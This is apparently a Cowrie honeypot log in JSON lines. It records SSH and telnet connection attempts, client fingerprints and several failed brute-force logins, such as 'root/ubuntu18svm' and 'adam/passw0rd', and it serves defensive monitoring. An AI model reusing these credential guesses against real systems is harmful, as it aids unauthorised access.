{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:57.600001Z","src_ip":"20.193.141.133","session":"27b19e178674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":56868,"dst_ip":"159.203.135.109","dst_port":23,"session":"b653bcbcf18b","protocol":"telnet","message":"New connection: 139.84.139.120:56868 (159.203.135.109:23) [session: b653bcbcf18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:03.850358Z"}
{"eventid":"cowrie.session.closed","duration":30.49809241294861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:05.169975Z","src_ip":"139.84.139.120","session":"026ff33f3800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56704,"dst_ip":"159.203.135.109","dst_port":22,"session":"513c85b4c8e1","protocol":"ssh","message":"New connection: 159.203.92.129:56704 (159.203.135.109:22) [session: 513c85b4c8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:33.178212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:33.183519Z","src_ip":"159.203.92.129","session":"513c85b4c8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:33.188083Z","src_ip":"159.203.92.129","session":"513c85b4c8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"passw0rd","message":"login attempt [adam/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:33.201056Z","src_ip":"159.203.92.129","session":"513c85b4c8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33609414100647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:34.186307Z","src_ip":"139.84.139.120","session":"b653bcbcf18b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:34.211677Z","src_ip":"159.203.92.129","session":"513c85b4c8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a321ed6da7","protocol":"telnet","message":"New connection: 139.84.139.120:34406 (159.203.135.109:23) [session: c0a321ed6da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:41.813860Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac5b5b31614c","protocol":"telnet","message":"New connection: 103.221.220.6:52722 (10.17.0.5:23) [session: ac5b5b31614c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:43.978482Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":54584,"dst_ip":"10.17.0.5","dst_port":23,"session":"068261f7425c","protocol":"telnet","message":"New connection: 103.221.220.6:54584 (10.17.0.5:23) [session: 068261f7425c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:46.826967Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":59962,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d5be4d8f92","protocol":"telnet","message":"New connection: 139.84.139.120:59962 (159.203.135.109:23) [session: 89d5be4d8f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:47.909429Z"}
{"eventid":"cowrie.session.closed","duration":120.00364685058594,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:50.273494Z","src_ip":"94.79.18.201","session":"079c40644790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":34912,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e54eca2e175","protocol":"telnet","message":"New connection: 139.84.139.120:34912 (159.203.135.109:23) [session: 6e54eca2e175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:28:59.860584Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e742f9ab4a8","protocol":"telnet","message":"New connection: 103.221.220.6:40988 (10.17.0.5:23) [session: 2e742f9ab4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:01.776558Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":26670,"dst_ip":"10.17.0.5","dst_port":22,"session":"95147e7297ea","protocol":"ssh","message":"New connection: 20.193.141.133:26670 (10.17.0.5:22) [session: 95147e7297ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:02.373822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:02.383534Z","src_ip":"20.193.141.133","session":"95147e7297ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:02.578277Z","src_ip":"20.193.141.133","session":"95147e7297ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"password","message":"login attempt [ftpuser1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:03.388126Z","src_ip":"20.193.141.133","session":"95147e7297ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43292,"dst_ip":"10.17.0.5","dst_port":23,"session":"197e5edd4424","protocol":"telnet","message":"New connection: 103.221.220.6:43292 (10.17.0.5:23) [session: 197e5edd4424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:04.369865Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:04.586325Z","src_ip":"20.193.141.133","session":"95147e7297ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":44302,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd1868a652b","protocol":"telnet","message":"New connection: 103.221.220.6:44302 (10.17.0.5:23) [session: dfd1868a652b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:05.646721Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a15c78dfaca","protocol":"telnet","message":"New connection: 103.221.220.6:43584 (10.17.0.5:23) [session: 6a15c78dfaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:05.763813Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":46406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec84c9ccd9a4","protocol":"telnet","message":"New connection: 103.221.220.6:46406 (10.17.0.5:23) [session: ec84c9ccd9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:07.681010Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":47362,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f485d34221","protocol":"telnet","message":"New connection: 103.221.220.6:47362 (10.17.0.5:23) [session: 11f485d34221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:08.740837Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":47438,"dst_ip":"10.17.0.5","dst_port":23,"session":"005392d36b1f","protocol":"telnet","message":"New connection: 103.221.220.6:47438 (10.17.0.5:23) [session: 005392d36b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:08.853673Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":48450,"dst_ip":"10.17.0.5","dst_port":23,"session":"561806e2b59f","protocol":"telnet","message":"New connection: 103.221.220.6:48450 (10.17.0.5:23) [session: 561806e2b59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:09.988063Z"}
{"eventid":"cowrie.session.closed","duration":30.39733338356018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:12.211044Z","src_ip":"139.84.139.120","session":"c0a321ed6da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":50980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd31545b15f","protocol":"telnet","message":"New connection: 103.221.220.6:50980 (10.17.0.5:23) [session: 6cd31545b15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:12.710846Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":51764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c711fead203e","protocol":"telnet","message":"New connection: 103.221.220.6:51764 (10.17.0.5:23) [session: c711fead203e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:13.716850Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49430,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6476cf28e0","protocol":"ssh","message":"New connection: 159.203.92.129:49430 (159.203.135.109:22) [session: ab6476cf28e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:14.966052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:14.979681Z","src_ip":"159.203.92.129","session":"ab6476cf28e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:14.983924Z","src_ip":"159.203.92.129","session":"ab6476cf28e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"password","message":"login attempt [adam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:14.998583Z","src_ip":"159.203.92.129","session":"ab6476cf28e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28415536880493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:15.262548Z","src_ip":"103.221.220.6","session":"ac5b5b31614c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:16.008443Z","src_ip":"159.203.92.129","session":"ab6476cf28e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50111675262451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:17.327967Z","src_ip":"103.221.220.6","session":"068261f7425c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242422103881836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:19.151641Z","src_ip":"139.84.139.120","session":"89d5be4d8f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"086bd76f4a98","protocol":"telnet","message":"New connection: 103.221.220.6:57202 (10.17.0.5:23) [session: 086bd76f4a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:19.742019Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":54432,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b73b343938","protocol":"ssh","message":"New connection: 117.247.23.131:54432 (159.203.135.109:22) [session: 32b73b343938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:20.460809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:20.465737Z","src_ip":"117.247.23.131","session":"32b73b343938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":57902,"dst_ip":"10.17.0.5","dst_port":23,"session":"74581d61d2a2","protocol":"telnet","message":"New connection: 103.221.220.6:57902 (10.17.0.5:23) [session: 74581d61d2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:20.758046Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:21.115589Z","src_ip":"117.247.23.131","session":"32b73b343938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":54812,"dst_ip":"159.203.135.109","dst_port":23,"session":"d33c41209a4b","protocol":"telnet","message":"New connection: 139.84.139.120:54812 (159.203.135.109:23) [session: d33c41209a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:21.822280Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":59672,"dst_ip":"10.17.0.5","dst_port":23,"session":"221764d59527","protocol":"telnet","message":"New connection: 103.221.220.6:59672 (10.17.0.5:23) [session: 221764d59527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:22.708584Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu18svm","message":"login attempt [root/ubuntu18svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:24.323811Z","src_ip":"117.247.23.131","session":"32b73b343938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f6ceab1ee8","protocol":"telnet","message":"New connection: 103.221.220.6:33056 (10.17.0.5:23) [session: 91f6ceab1ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:24.804390Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":54378,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b577aa81fc4","protocol":"telnet","message":"New connection: 139.84.139.120:54378 (159.203.135.109:23) [session: 6b577aa81fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:25.712241Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":33752,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf9f46e3388","protocol":"telnet","message":"New connection: 103.221.220.6:33752 (10.17.0.5:23) [session: ebf9f46e3388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:25.731833Z"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:26.055414Z","src_ip":"117.247.23.131","session":"32b73b343938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":33382,"dst_ip":"10.17.0.5","dst_port":23,"session":"53380bf36e81","protocol":"telnet","message":"New connection: 103.221.220.6:33382 (10.17.0.5:23) [session: 53380bf36e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:26.236439Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":35164,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae3608fb925e","protocol":"telnet","message":"New connection: 103.221.220.6:35164 (10.17.0.5:23) [session: ae3608fb925e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:27.271719Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":54386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d66e30374dc8","protocol":"telnet","message":"New connection: 139.84.139.120:54386 (159.203.135.109:23) [session: d66e30374dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:27.703778Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":54390,"dst_ip":"159.203.135.109","dst_port":23,"session":"332459e15855","protocol":"telnet","message":"New connection: 139.84.139.120:54390 (159.203.135.109:23) [session: 332459e15855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:28.831361Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":54404,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c7044598c89","protocol":"telnet","message":"New connection: 139.84.139.120:54404 (159.203.135.109:23) [session: 2c7044598c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:29.034496Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"1feaa68bb62d","protocol":"telnet","message":"New connection: 103.221.220.6:37674 (10.17.0.5:23) [session: 1feaa68bb62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:29.966105Z"}
